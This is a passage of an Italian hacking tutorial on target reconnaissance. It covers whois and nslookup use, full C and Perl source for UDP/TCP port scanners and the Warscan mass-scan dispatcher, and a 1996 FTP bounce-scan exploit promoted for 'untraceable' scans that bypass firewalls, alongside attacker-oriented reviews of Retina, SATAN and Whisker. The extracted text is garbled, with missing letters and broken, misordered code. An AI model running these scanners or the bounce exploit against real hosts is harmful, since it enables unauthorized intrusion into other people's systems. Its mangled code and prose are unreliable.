CWhoIsProcessorDlg::CWhoIsProcessorDlg(CWnd* pParent /*=NULL*/) : CDialog(CWhoIsProcessorDlg::IDD, pParent) { //{{AFX_DATA_INIT(CWhoIsProcessorDlg) //}}AFX_DATA_INIT // Note that LoadIcon does not require a subsequent DestroyIcon in Win32 m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); } void CWhoIsProcessorDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); //{{AFX_DATA_MAP(CWhoIsProcessorDlg) DDX_Control(pDX, IDC_EDIT_LIST, m_EditList); //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(CWhoIsProcessorDlg, CDialog) //{{AFX_MSG_MAP(CWhoIsProcessorDlg) ON_WM_SYSCOMMAND() ON_WM_PAINT() ON_WM_QUERYDRAGICON() ON_BN_CLICKED(IDC_WHOIS, OnWhoIs)
CDialog::OnPaint();
void CWhoIsProcessorDlg::OnWhoIs() { // Get input address CString szAddress; GetDlgItemText(IDC_WEB_ADDRESS, szAddress); SetWhoIsServer("whois.networksolutions.com"); CString szResult = whoIs.WhoIs(szAddress); char szBufferIn[15000]; char szBufferOut[15000]; strcpy(szBufferIn, szResult); int iCount = 0; for (int i = 0 ; i< szResult.GetLength(); i++) { szBufferOut[iCount] = szBufferIn[i]; iCount++; if (szBufferIn[i] == '\n') { szBufferOut[iCount-1] = '\r'; szBufferOut[iCount] = '\n'; iCount++; }
szBufferOut[iCount] = 0; m_EditList.SetWindowText(szBufferOut); }
Chiaramente non assolutamente necessario scriversi questi programmi ma al limite possibile utilizzare qualche utilities scaricata gi pronta dalla rete. Ho gi detto precedentemente che limportanza di sapersi scrivere certe utilities st nel fatto che in questo modo vengono compresi i meccanismi su cui si basano. Inoltre allo stato attuale ogni singola utility viene vista alla luce di loro stessa ma la vera utilit potrebbe essere quella di implementare tali funzionalit nellambito di programmi molto pi ampi. Un idea che a tempo debito proporr sar quella di inserire un piccolo parser di linguaggio e mediante questo creare un linguaggio ad HOC indirizzato a creare gestioni particolari. Supponente che tutte queste funzioni come ad esempio quella appena vista fossero di fatto il corpo esecutivo di qualche statement di un nostro linguaggio. Mediante linterprete di cui parlavamo potremmo creare procedure automatiche per il test e la ricerca dei sistemi. In ogni caso rinviamo a dopo questo discorso. Siamo rimasti al punto in cui tramite un port scanner abbiamo trovato degli IP con delle porte aperte. Mediante la funzione appena vista chiediamo informazioni legate al dominio in cui tale IP inserito. Una volta avute tali informazioni possiamo cercare di individuare la struttura del dominio stesso. Tale funzione possiamo ottenerla tramite NSLOOKUP o qualsiasi altra utilities adatta a individuare sia i nameservers che gli host inseriti nel dominio stesso. Ogni dominio allatto della registrazione stabilisce due sistemi i quali sono autorizzati a distribuire sulla rete i dati relativi alla configurazione del dominio stesso. Questi sono appunto i sistemi definiti con il termine di NAMESERVER e generalmente sono due ovvero quello PRIMARIO e quello SECONDARIO. Con lintroduzione dei sistemi ACTIVE DIRECTORY di Windows questa distinzione passata di moda in quanto questo sistema riesce a usare tutti i sistemi indipendentemente come se tutti fossero primari.
Luso di NSLOOKUP pemette di interrogare un server DNS per avere informazioni legate ad un certo dominio. Una volta lanciato il programma dobbiamo settare il server che icarichiamo per darci le risposte. Questa funzione viene eseguita tramite la specifica server. server 151.99.250.2 default server : dns.interbusiness.it
Ora linterrogazione potrebbe richiedere soltanto certe tipologie di record come ad esempio quelli MX legati ai mailserver oppure potrebbe interessarci avere tutte le informazioni. La specifica avviene tramite il SET. Specificando : set Q=any
si fa in modo che vengano restituite tutte le informazioni contenute nella zona. La specifica set q=mx
si richiedono solo i records MX. A questo punto specificando il nome dellhost su cui si vogliono le informazioni oppure il nome del dominio riceveremo come risposta i dati richiesti. Per ricavare tutte le informazioni di un dominio possibile dare il comando : ls d microsoft.com
Avendo a disposizione un programnma come Visual Route o Visual race di McAfee alcune informazioni vengono date automaticamente con le funzionalit di trace. Nel capitolo legato al protocollo ICMP ce un programma per lesecuzione del TRACEROUTE scritto utilizzando appunto questo protocollo.
/* Tweak these to make things faster. I've included getopt as well since I'm an option kinda guy ;) */ #define #define #define #define #define MAXPACKET 4096 DEFAULT_TIMEOUT 10 DEFAULT_RESEND 6 SPORT 1 EPORT 1024
%s
hostname|ipaddr
[-s
start
port]
[-e
end
port]
[-t
void start_scanning(unsigned short sport,unsigned myaddr,unsigned short timeout,int maxretry) { struct sockaddr_in myudp; char buff[] = "This was a blatant UDP port scan."; int udpsock, rawsock, retry, retval,iplen; unsigned short port; fd_set r; struct timeval mytimeout; struct icmp *packet; struct ip *iphdr; struct servent *service; unsigned char recvbuff[MAXPACKET];
short
eport,struct
in_addr
if((udpsock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) { perror("socket()"); exit(-1); } if((rawsock = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP)) < 0) { perror("socket()"); exit(-1); } if(!(sport)) sport = SPORT; if(!(eport)) eport = EPORT; if(!(timeout)) timeout = DEFAULT_TIMEOUT; if(!(maxretry)) maxretry = DEFAULT_RESEND; if(sport > eport) { fprintf(stderr,"Uh you've got the start-port at %u and the end-port at %u this doesnt look right.\n",sport,eport); exit(-1); } bcopy(&myaddr.s_addr,&myudp.sin_addr.s_addr,sizeof(myaddr.s_addr)); myudp.sin_family = AF_INET; mytimeout.tv_sec = timeout; mytimeout.tv_usec = 0; for(port = sport;port < eport;port++) { myudp.sin_port = htons(port); retry = 0; while(retry++ < maxretry) { /* I'll use select to do the timeout. Its a bit more 'portable'. Than using a signal */ if((sendto(udpsock,buff,sizeof(buff),0x0,(struct *)&myudp,sizeof(myudp))) < 0) { perror("sendto"); exit(-1); } sockaddr
FD_ZERO(&r); FD_SET(rawsock,&r); retval = select((rawsock+1),&r,NULL,NULL,&mytimeout); if(retval) { /* We got an answer lets check if its the one we want. */ if((recvfrom(rawsock,&recvbuff,sizeof(recvbuff),0x0,NULL,NULL)) < 0) { perror("Recv"); exit(-1); } /* Problem with getting back the address of the host is that not all hosts will answer icmp unreachable directly from thier own host. */ iphdr = (struct ip *)recvbuff; iplen = iphdr->ip_hl << 2; packet = (struct icmp *)(recvbuff + iplen); if((packet->icmp_type ICMP_UNREACH_PORT)) break; } else continue; == ICMP_UNREACH) && (packet->icmp_code ==
} }
if(retry >= maxretry) { if((service = getservbyport(htons(port),"udp")) == NULL) fprintf(stdout,"Unknown port %u, open.\n",port); else fprintf(stdout,"UDP service %s open.\n",service->s_name); fflush(stdout); }
struct in_addr resolv(char *address) { struct in_addr myaddr; struct hostent *host; if((myaddr.s_addr = inet_addr(address)) == INADDR_NONE) { if((host = gethostbyname(address)) == NULL) fprintf(stderr,"%s Invalid address\n",address); else { bcopy((int *) * &host->h_addr,&myaddr.s_addr,host->h_length); return myaddr; } } } return myaddr;
int main(int argc,char **argv) { unsigned short sport = 0; unsigned short eport = 0; unsigned short timeout = 0; unsigned short maxretry = 0; struct in_addr myaddr; char c; if(argc < 2)
usage(argv[0]); exit(-1);
while((c = getopt(argc,argv,"s:e:t:r:")) != EOF) { switch(c) { case 's': { sport = (unsigned int)atoi(optarg); break; } case 'e': { eport = (unsigned int)atoi(optarg); break; } case 't': { timeout = (unsigned int)atoi(optarg); break; } case 'r': { maxretry = (unsigned int)atoi(optarg); break; } default: { usage(argv[0]); } } } myaddr = resolv(argv[optind]); start_scanning(sport,eport,myaddr,timeout,maxretry); } exit(0);
Le opzioni accettate dall utility sono le seguenti e permettono di stabilire la tipologia dello scannino stesso come ad esempio se questo deve essere fatto usando il protocollo TCP oppure quello UDP. Le opzioni variano a seconda se la compilazione avviene tramite la libreria GNU.
OPZIONI PSCAN <scan type> <host> [low port] [high port] dove scan type no dei seguenti valori: SE GNU --tcp, -t - TCP port scan --udp, -u - UDP port scan --rpc, -r - RPC service list --nis, -n - NIS map listing --version, -v - Print version information --help, -h - Print usage information SE ON GNU -t - TCP port scan -u - UDP port scan -r - RPC service list
#include #include #include #include #include #include #include #include #include #include #include #include #include
#define DEFAULT_LOW_PORT 1 #define DEFAULT_HIGH_PORT 2000 #define MAJOR_VERSION 1 #define MINOR_VERSION 1 static char sccsid[] = "@(#) pscan.c typedef enum { false, true } my_bool; typedef enum { s_none, s_tcp, s_udp, s_rpc, s_nis } scan_t; #ifdef __GNU_LIBRARY__ static struct option long_options[] = { {"tcp", 0, 0, 0}, {"udp", 0, 0, 0}, {"rpc", 0, 0, 0}, {"nis", 0, 0, 0}, {"help", 0, 0, 0}, {"version", 0, 0, 0}, {0,0,0,0} }; #endif struct { 1.1 (pluvius) 01/22/95";
if (c == -1) break; switch(c) { #ifdef __GNU_LIBRARY__ case 0: opt_ind++; /* index's are one less than the scan type */ if (opt_ind == 5) print_usage(v[0]);
low_port = DEFAULT_LOW_PORT; high_port = DEFAULT_HIGH_PORT; for (opt_ind = 0;optind < n;optind++) { switch(opt_ind++) { case 0: /* remote host */ strncpy(remote_host,v[optind],199); break; case 1: /* low port */ low_port = atoi(v[optind]); break; case 2: /* high port */ high_port = atoi(v[optind]); break; } } if ((opt_ind == 0) || (scan_type == s_none)) { fprintf(stderr,"error: you must specify a scan type and a host\n"); print_usage(v[0]); } } void check_args() { struct hostent *host; host = gethostbyname(remote_host); if (host == NULL) { unsigned char a,b,c,d,n; char addr[5]; /* hmm.. perhaps it was a dotted quad entered.. */ n = sscanf(remote_host,"%u.%u.%u.%u",&a,&b,&c,&d); if (n != 4) { fprintf(stderr,"error: host '%s' not found\n",remote_host); exit(1); } addr[0] = a; addr[1] = b; addr[2] = c; addr[3] = d; host = gethostbyaddr(addr,4,AF_INET); if (host == NULL) { fprintf(stderr,"error: host '%s' not found\n",remote_host); exit(1); } sprintf(remote_ip,"%u.%u.%u.%u",a,b,c,d);
fprintf(stdout,"scanning host %s's %s ports ",remote_host, opt_table[scan_type-1]); if (scan_type < 3) { fprintf(stdout,"%d through %d",low_port,high_port); } fprintf(stdout,"\n");
int scan() { int soc; struct sockaddr_in addr; struct servent *serv; int port,rc,addr_len,opt; if (scan_type >= 3) /* this proc only does tcp and udp */ return; for (port = low_port;port <= high_port;port++) { if (scan_type == s_tcp) { soc = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); } else if (scan_type == s_udp) { soc = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); } else return; if (soc < 0) { fprintf(stderr,"error: socket() failed\n"); return; } rc = setsockopt(soc,SOL_SOCKET,SO_REUSEADDR,&opt,sizeof(opt)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(remote_ip); addr.sin_port = htons(port); addr_len = sizeof(addr); rc = connect(soc, (struct sockaddr*) &addr, addr_len); if (scan_type == s_udp) { /* UDP port scanning is not easy.. it sux */ /* dunno how I'm gonna implement it.. not implemented right now */ } close(soc); if (rc < 0) continue; if (scan_type == s_tcp) serv = getservbyport(htons(port),"tcp"); else if (scan_type == s_udp) serv = getservbyport(htons(port),"udp"); else return; fprintf(stdout,"port %d (%s) is running\n",port,(serv == NULL)?"UNKNOWN": serv->s_name);
} } }
/* this routine basically ripped from rpcinfo -p */ void rpc_scan() { struct sockaddr_in server_addr; register struct hostent *hp; struct pmaplist *head = NULL; int socket = RPC_ANYSOCK; struct timeval minutetimeout; register CLIENT *client; struct rpcent *rpc; minutetimeout.tv_sec = 60; minutetimeout.tv_usec = 0; server_addr.sin_addr.s_addr = inet_addr(remote_ip); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(111); if ((client = clnttcp_create(&server_addr, PMAPPROG, PMAPVERS, &socket, 50, 500)) == NULL) { clnt_pcreateerror("rpcinfo: can't contact portmapper"); exit(1); } if (clnt_call(client, PMAPPROC_DUMP, xdr_void, NULL, xdr_pmaplist, &head, minutetimeout) != RPC_SUCCESS) { fprintf(stderr, "rpcinfo: can't contact portmapper: "); clnt_perror(client, "rpcinfo"); exit(1);
/* this will only do tcp and udp, otherwise returns without doing anything */ switch (scan_type) { case s_tcp: scan(); break; case s_udp: fprintf(stderr,"UDP port scanning is not implemented in this version\n"); break; case s_rpc: rpc_scan(); break; case s_nis: nis_dump(); break; } return 0; }
Le funzioni sono abbastanza simili a quelle degli altri scanner per quello che riguarda le indagini relative alle porte aperte su degli IP i quali posso essere specificati singolarmente o come interi range.
Lutility in grado di emettere diversi tipi di logs. Sono inoltre inclusi dentro a NSCAN alcune utilities con il traceroute, whois e nslookup. Le opzioni che possono essere specificate sulla linea di comando sono : short long <parameters> description -i -f -p -F -l -N -t -S -k -n -a -P -c -d -D -T -R -ini <start address> start hostname -fin <end address> end hostname -ports <ports> port list -list <list file> list file name -log <log file> log file name -forget don't write updated settings to registry -tray run and minimize to tray / do nothing -scan start with defaults - just scan -keepalive don't close after job is done -nohide keep restored -atype <type> address type (0-4) respectively in drop-down order -porttype <port list type> same for port type -cleanup <cleanup timeout> cleanup timeout (options) -outdetail <outdet> output details (see drop-down mode switch) -logdetail <log detail level> same for log -condetail <detail level> same numbers as for log detail -conformat <format> format for console output (options)
NETBRUTE svolge anche altre funzioni che non sono propriamente quelle dello scanner legato alle porte. Una delle sue funzioni quella dellenumerazione delle condivisioni di un sistema. Pur essendo un ottimo strumento non viene fornito con un help per cui almeno in una delle funzionalit del programma il suo scopo abbastanza nascosto. Sempre tra i portscanner di ottima qualit c SUPERSCAN 3.0
Gli scanner visti fino ad adesso erano indirizzati al protocollo TCP. Uno indirizzato al protocollo UDP prelevabile dal sito : http://www.ntsecurity.nu Questo programma si chiama WUPS e possiede come limitazione il fatto che pu eseguire lo scannino di un solo host alla volta.
Esistono dei programmi sulla rete che permettono di automatizzare gli scan associandoli anche a determinati test che devono essere eseguiti sugli hosts. Ne un esempio WARSCAN scritto interamente in PERL il quale pu eseguire lo scan partendo da una lista di host fornita sul file oppure pu generare direttamente gli hosts da testare. In altre parole grazie a WARSCAN chiunque pu creare dei test da applicare a grossi numeri di hosts. Il sorgente quello che segue :
#!/usr/bin/perl # # Warscan, an Internet Scanner Dispatch # Copyright (C) 1998 [email protected] # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. # require 5.004; use POSIX qw(:signal_h); use Getopt::Std; use Socket; use Cwd; ### System ###
(($PingTimeout = $Options{'t'}) and ($Verify = 1)) if (defined($Options{'t'})); (($DumpFile = $Options{'o'}) and ($Verify = 1) and ($Dump = 1)) if (defined($Options{'o'})); ($Dump = 0 ) if (defined($Options{'n'}));
die "fatal: option conflict: -n and -o cannot be specified.\n" if (defined($Options{'o'}) and defined($Options{'n'})); $Target = $ARGV[0]; if (defined($Options{'f'})) { my($file) = $Options{'f'}; die "fatal: either load a file or generate from template.\n" if ($Target); die "fatal: $file not found or not readable.\n" unless (-r $file);
die "fatal: option conflict: -p and -s cannot be specified\n" if (defined($Options{'s'}) and defined($Options{'p'})); if (not $PingScan) { my($found) = &Check($Dispatch); die "fatal: $Dispatch not found in \$PATH\n" if (not $found); $Dispatch = $found; } else { die "fatal: must be root to ping scan\n" if ($>); die "fatal: not verifying with a ping scan?\n" if (not $Verify); } if ($> and $Verify) { warn "+ Warning: disabling verification without root priveleges.\n"; $Verify = 0; } } sub Check { my($path,@paths,$found,$file); $file = shift; $found = 0; @paths = ($BaseDir); push @paths, split (':', $ENV{'PATH'}); foreach $path (@paths) { $path =~ s/([^\/])$/$1\//;
for ('0' .. int($#Sites / $MaxPing)) { @sitebuf = splice(@Sites, 0, $MaxPing); @valbuf = &massping(@sitebuf); push @validated, @valbuf; $scancnt += scalar(@sitebuf); print "+ Validated [", scalar(@valbuf), " of ", scalar(@sitebuf), "] (", scalar(@validated), " of $scancnt total).\n"; } print "+ Validation complete.\n"; return @validated; } sub Prepare { $State = "prepare"; my($dir) = shift; $BaseDir .= "/$dir"; print "+ Destination is [$BaseDir].\n"; mkdir("$BaseDir",0755) if (! -d "$BaseDir"); chdir("$BaseDir") or warn "+ Warning: could not prepare, using current directory.\n"; $Prepared = 1; } sub Dump { my(@array) = @_; my($dumpdir) = $BaseDir?"$BaseDir":"/tmp"; my($dumpfile) = (substr($DumpFile,0,1) ne "/") ?"$dumpdir/$DumpFile" :"$DumpFile"; $State = "dump"; print "+ Dumping servers to [$dumpfile].\n"; open(F,">$dumpfile") or warn "+ Warning: couldn't open server dump file.\n"; print F join("\n",@array), "\n" if (fileno(F)); close(F) or warn "+ Warning: could not close server dump file.\n"; } sub Probe { my($Server) = shift; return unless $Server; $Level++; $State = "recurse-$Level"; my($Pipe) = "pipe-$Server-$Level"; sigprocmask(SIG_BLOCK, $SigSet, $OSigSet); my($daddy) = open($Pipe,"-|"); if (not defined $daddy) { warn "+ Warning: [$Server] fork() error: $!\n"; sigprocmask(SIG_UNBLOCK, $OSigSet); sleep(1); } elsif (!$daddy) {
la sintassi duso di WARSCAN la seguente : [0.7.1] warscan options are: -s <script> "scan". -f <file> -o <file> "servers". -d <dir> -A <str> -B <str> -P <num> -S <num> -L <num> -t <num> [options] [host template] Run script with generated host list. Default is Read in host list from file, 1 per line. File to dump verified servers to. Default is Put results/run in directory "dir". Arguments to pass to the script after the hostname. Arguments to pass to the script before the hostname. Number of pings to run in parallel. Default is 15. Number of scans to run concurrently. Default is 25. Upper limit for IP/DNS generation. Default is 254. Ping timeout. Default is 2 (seconds).
Lo scanning delle porte attive viene eseguita mediante particolari programmi i quali, dopo avergli fornito un determinato IP, testano la preseanza di porte aperte sul sistema di destinazione. Un programma scritto in visual C++ che esegue questa analisi il seguente :
#include <windows.h> #include <stdio.h> void main( int argc, char *argv[ ], char *envp[ ] ) { if ( (argc < 2) || (argc>4) ) { printf("Usage: scanip <ip_addr> [<start_port> [<stop_port>]]\n"); return; } if (sizeof(argv[1])>255) { printf("invalid ip address.\n"); return; } char ipAddr[15]; char hostName[255]; int hnLength=0; struct hostent *heHost=NULL; u_long iaIP; wsprintf(ipAddr,"%s",argv[1]); iaIP=inet_addr(ipAddr); if (iaIP==INADDR_NONE) { hnLength=0; while(argv[1][hnLength]!='\0') { hostName[hnLength]=argv[1][hnLength]; hnLength++; } hostName[hnLength]='\0'; printf("Not an ip, possible is a host name: %s, unsupported yet.\n",hostName); return; /* heHost=gethostbyname((const char FAR *)hostName); if (heHost==NULL) { printf("IP or Host Name Unknown\n"); return; } iaIP=*((long *)(heHost->h_addr)); */ } int startPort=0; if (argc>2) startPort=atoi(argv[2]); printf("Scanning From: %d ",startPort); int stopPort=0xFFFF; if (argc>3) stopPort=atoi(argv[3]); printf("To: %d\n",stopPort);
tstSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (tstSocket==INVALID_SOCKET) { printf("Error when create socket...\n"); return; } sinLocale.sin_addr.s_addr = htonl (INADDR_ANY); sinLocale.sin_family=AF_INET; if (bind (tstSocket, (const struct sockaddr FAR *)&sinLocale, sizeof(sinLocale))==SOCKET_ERROR) { closesocket(tstSocket); printf("Error when bind socket...\n"); return; } sinRemote.sin_addr.S_un.S_addr=iaIP; sinRemote.sin_family=AF_INET; struct fd_set fdSet; struct timeval tmvTimeout={0L,0L}; FD_ZERO(&fdSet); FD_SET(tstSocket, &fdSet); tstResult=select(0,&fdSet,NULL,NULL,&tmvTimeout); while (startPort<=stopPort) { sinRemote.sin_port=htons(startPort); printf("Try connected to: %s:%d",argv[1],startPort); tstResult=connect(tstSocket, (const struct sockaddr FAR *)&sinRemote, sizeof(sinRemote)); if (tstResult!=SOCKET_ERROR) { closesocket(tstSocket); printf(" Success\n"); } else { tstResult=WSAGetLastError(); switch(tstResult) { case WSANOTINITIALISED: printf(" Fail(WSANOTINITIALISED)\n"); break; case WSAENETDOWN: printf(" Fail(WSAENETDOWN)\n"); break; case WSAEADDRINUSE: printf(" Fail(WSAEADDRINUSE)\n"); break; case WSAEINTR: printf(" Fail(WSAEINTR)\n"); break; case WSAEINPROGRESS: printf(" Fail(WSAEINPROGRESS)\n");
Tutte queste funzionalit viste fino ad ora e individuate mediante luso di diversi software possono anche essere individuate da certi analizzatori di security come ad esempio RETINA anche se poi non necessario arrivare ad utilizzare questi pacchetti solo per avere queste informazioni. Nel caso di FTP esiste una scanner che esegue questo tipo di test. In pratica assegnato un range di Ip il programma li passa ad uno ad uno cercando di eseguire il login mediante lutente anonymous e usando come password un indirizzo di email.
Fino ad ora abbiamo visto due concetti fondamentali. Inizialmente parlando delle cose che lhacker deve portare avanti ce lidentificazione dei sistemi operativi e dei softwares legati alla gestiuone dei servers in modo tale da poter successivamente andare a ricercare allinterno dei vari database di exploits presenti in rete, quelli che si addicono maggiormante alla situazione individuata. RETINA fa tutto questo e di pi. Allinterno del software creato dalla EEYE ci sono quattro funzionalit separate e precisamente : BROWSER MINER SCANNER TRACER Il tracer e il browser sono quelli che tutti conosciamo e quindi non c neppure da discutere sulle loro funzionalit. Le due funzioni interessanti sono ivece le altre due. Lo scanner veramente completo. Il pacchetto mette in analisi lhost specificato identificando, nel imite del possibile, tutte le porte aperte e i software che girano su queste. Una volta identificate queste cose RETINA cerca di identificarne le versioni in modo da individuare allinterno del suo database di BUGS quelli che possono essere i punti critici di questi. Questi problemi vengono mostrati mediante un scala che ne definisce la gravit. Lo scopo fondamentale di questo software, per altro costosissimo, sarebbe indicato ai sysadmin ma viste le sue funzioni anche lhacker non pu sottovalutarne le funzionalit. Chiaramente se facessimo un discorso in base al suo costo potremmo tranquillamente scartare la seconda classe di utenti in quanto penso che ben difficilmente un hacker vada a spendere diversi milioni per un programma indirizzato a trovare i bugs di un server. Chiaramente in rete dobbiamo considerare la presenza di astalavista.box.sk per cui la versione dimostrativa pi astalavista ed ecco il software a misura di hacker. Come potete vedere dallimmagine che segue la gravit vine ne identificata da una serie di freccie di colori che tendono, maggiore la gravit, al rosso.
La seconda funzionalit di RETINA quello definito con il termine di MINER. In pratica nei capitoli legati allhackeraggio dei siti WEB abbiamo visto come determinati problemi possono essere dipendenti da stringhe usate dallattaccante per cercare di indurre i browser o i software ad avere comportamenti anomali. Il miner cerca di eseguire un numero elevatissimo, si parla di pi di 6000, di metodi indirizzati al WEB Server o agli altri software che girano sulla macchina. Vengono testati i CGIBIN, i vari bugs come UNICODE, quelli legati a MSADC e cosi via. Chiaramente RETINA costituisce, viste le funzionalit di cui dispone, di un ottimo punto dinizio per vedere successivamente come muoversi sul sistema preso di mira. Chiaramente i tentativi vengono logati sul sistema remoto per cui il sysadmin dopo luso di retina si rover un log spaventoso con migliaia di tentativi di forzatura. La cosa fantatstica di retina che quando individua un problema nella finestra in basso presenta la spiegazione verbosa del problema fornito con tanto di LINK ai sistemi dove possibile leggere i dettagli ed eventualmente prendere in visione lexploit adatto per verificare il bug. Sul mrecato esistono diversi altri pacchetti che possono essere visti dali due lati e precsimante quello del sysadmin e quello dellhacker. Dicevamo che retina costosissimo per cui spesso in mano ai sistemisti troviamo altri software che vengono distribuiti a prezzi molto pi bassi se non di public domain e quindi gratuiti. Alcuni di questi analizzatori di sicurezza sono in ambiente Linux come ad esempio SATAN. Questo pacchetto uno dei classici ed sicuramente uno di quelli pi utilizzati. Questo pacchetto deve essere valutato attentamente in quanto essendo di quelli che circolano con tanto di sorgenti, spesso stato trovato con i codici alterati. Nal 1995 un ragazzo delluniversit di Temple alter i codici di SATAN inserendo dentro al modulo fping.c una backdoor che permetteva di accedere ai sistemi che lo avevano utilizzato. In ogni caso a questo pacchetto sideve attribuire il merito di aver costituito un punto di svolta nellambito degli analizzatori. Satan in grado di cercare i punti deboli nelle seguenti aree: 1. 2. 3. 4. 5. 6. 7. 8. Protocollo di trasferimento FTP Network File System (NFS) Password del servizio informativo di rete (NIS) Accesso alla shell remota Sistema di accesso rexd I punti di vulnerabilit di SENDMAIL I punti di vulnerabilit di TFTP La sicurezza del server X
Sempre in ree esistono altri analizzatori come ad esempio IIAS (Internet Security Scanner) fornito anche in versione dimostrativa allinterno del TOOLKIT di Windows. Unb altro nome venuto a galla in questi ultimi anni SAINT. Sempre della stessa famiglia c Nessus. Un programma invece presente in sorgente perl Whisker il quale dispone di un grosso numero di test, molti messi in circolazione da terze parti ovvero da utenti del pacchetto. WHISKER di fatto un analizzatore di security legato ad uno di quelli che sono I maggiori problemi di un WEB ovvero le CGI-BIN. Come negli altri casi il pacchetto dispone di un grosso archivio di test ce vengono eseguiti sui sistemi vittima. In questo settore WHISKER sicuramente il miglior CGI Scanner esistente contenente almeno 500 test indirizzati alle CGI, ASP ecc.
/* * FTP Scan (C) 1996 Kit Knox <[email protected]> * * Exploits bug in FTP protocol that allows user to connect to arbritary * IP address and port. * * Features: Untraceable port scans. Bypass firewalls! * * Example usage: * * ftp-scan ftp.cdrom.com 127.0.0.1 0 1024 * * This will scan IP 127.0.0.1 from ftp.cdrom.com from port 0 to 1024 * */ #include #include #include #include #include #include #include <stdio.h> <stdlib.h> <sys/param.h> <sys/socket.h> <netinet/in.h> <netdb.h> <stdarg.h>
int sock; char line[1024]; void rconnect(char *server) { struct sockaddr_in sin; struct hostent *hp; hp = gethostbyname(server); if (hp==NULL) { printf("Unknown host: %s\n",server); exit(0); } bzero((char*) &sin, sizeof(sin)); bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); sin.sin_family = hp->h_addrtype; sin.sin_port = htons(21); sock = socket(AF_INET, SOCK_STREAM, 0); connect(sock,(struct sockaddr *) &sin, sizeof(sin));
void login(void) { char buf[1024]; sprintf(buf,"USER ftp\n"); send(sock, buf, strlen(buf),0); sleep(1); sprintf(buf,"PASS user@\n"); send(sock, buf, strlen(buf),0); } void readln(void) { int i,done=0,w; char tmp[1]; sprintf(line,""); i = 0; while (!done) { w=read(sock,tmp, 1, 0); if (tmp[0] != 0) { line[i] = tmp[0]; } if (line[i] == '\n') { done = 1; } i++; } line[i] = 0; }
void main(int argc, char **argv) { char buf[1024]; int i; u_short sport,eport; register char *p,*a; struct hostent *hp; struct sockaddr_in sin; char adr[1024]; if (argc != 5) { printf("usage: ftp-scan ftp_server scan_host loport hiport\n"); exit(-1); } hp = gethostbyname(argv[2]); if (hp==NULL) { printf("Unknown host: %s\n",argv[2]); exit(0); } bzero((char*) &sin, sizeof(sin)); bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); rconnect(argv[1]); /* Login anon to server */ login(); /* Make sure we are in */ for (i=0; i<200; i++) { readln(); if (strstr(line,"230 Guest")) { printf("%s",line); i = 200; } } a=(char *)&sin.sin_addr; sport = atoi(argv[3]); eport = atoi(argv[4]); sprintf(adr,"%i,%i,%i,%i",UC(a[0]),UC(a[1]),UC(a[2]),UC(a[3])); for (i=sport; i<eport; i++) { sin.sin_port = htons(i); p=(char *)&sin.sin_port; sprintf(buf,"\nPORT %s,%i,%i\nLIST\n",adr,UC(p[0]),UC(p[1])); sendln(buf); sprintf(line,""); while (!strstr(line, "150") && !strstr(line,"425")) { readln(); } if (strstr(line,"150")) { printf("%i connected.\n",i); } } close(sock);
Gli scanner visti precedentemente legati allidentificazione di sistemi con lutente anonymous abilitato eseguivano lo scannino partendo da un range di IP. Un pacchetto particolare che invece interroga un motore di ricerca per un particolare argomento ed in base alla risposte ricerca quali sistemi dispongono di un sitsema FTP il seguente :
Il programma si chiama FTP SEARCH. Il risultato una lista del tipo : tivo.samba.org www.chass.utoronto.ca www.cleo-and-nacho.com www.cs.berkeley.edu www.kernelhacking.org www.nomad.ee www.obn.org www.rdrop.com www.realityhacking.com www.seattlerobotics.org www.spectre-press.com www.underground-book.com Un utility veramente ben fatta, multifunzionale, SAM SPADE.
Il programma prelevabile da www.samspade.com ed costituito da diverse utilities. A mio modesto avviso il programma ben strutturato ed in particolar modo utilizza in modo intelligente il sistema di Windows per la visualizzazione delle informazioni derivate dallanalisi. Visual Studio permette la creazione di programmi utilizzanti diverse metodologie di gestione del video. Quella definita MULTIVISTA di fatto quella adottata dal SAM SPADE. Qualsiasi utility utilizza come standard di output lo sfond0o di una finestra aperta in quella principale. I programmi o meglio le funzionalit interne a SAM SPADE sono : 1. PING. Il programma invia i classici ICMP Echo Request. 2. WHOIS. Il sistema possiede una sua intelligenza che utilizza nella scelta del sistema cui inviare la richiesta whois. 3. IP BLOCK WHOIS. La richiesta dellIP viene inviata al database ARIN. 4. NSLOOKUP. Server a risolvere le informazioni legate al DNS 5. DIG. Anche questa funzone orientata ad ottenere informazioni DNS su un certo dominio. 6. DNS ZONE RANSFER. Esegue il trasferimento dei dati DNS da un server al nameserver specificato. 7. TRACEROUTE. La classica funzione di tracciamento. 8. SMTP VRFY. Verifica un determinato indirizzo SMTP. 9. WEB BROWSER. E il suo browser internosolo che viene mostrato in modo RAW il sorgente HTML. Oltre a queste funzioni principali SAM SPADE ne possiede altre molto utili per quanto riguarda lenumerazione dei sistemi. Nei vari capitoli legati allanalisi che dovrebbe essere condotta abbiamo visto che gli obbiettivi da identificare potrebbero essere diversi a partire dal sistema operativo per arrivare alle varie caratteristiche come ad esempio la possibilit di eseguire delle null session e cosi via. Alcune utility comprendono tutte queste funzionalit:
Limmagine precedente quella di WINFINGERPRINTING. Come potete vedere dalle varie opzioni selezionabili possibile richiedere diversi tipi di analisi su un intetro range di IP.
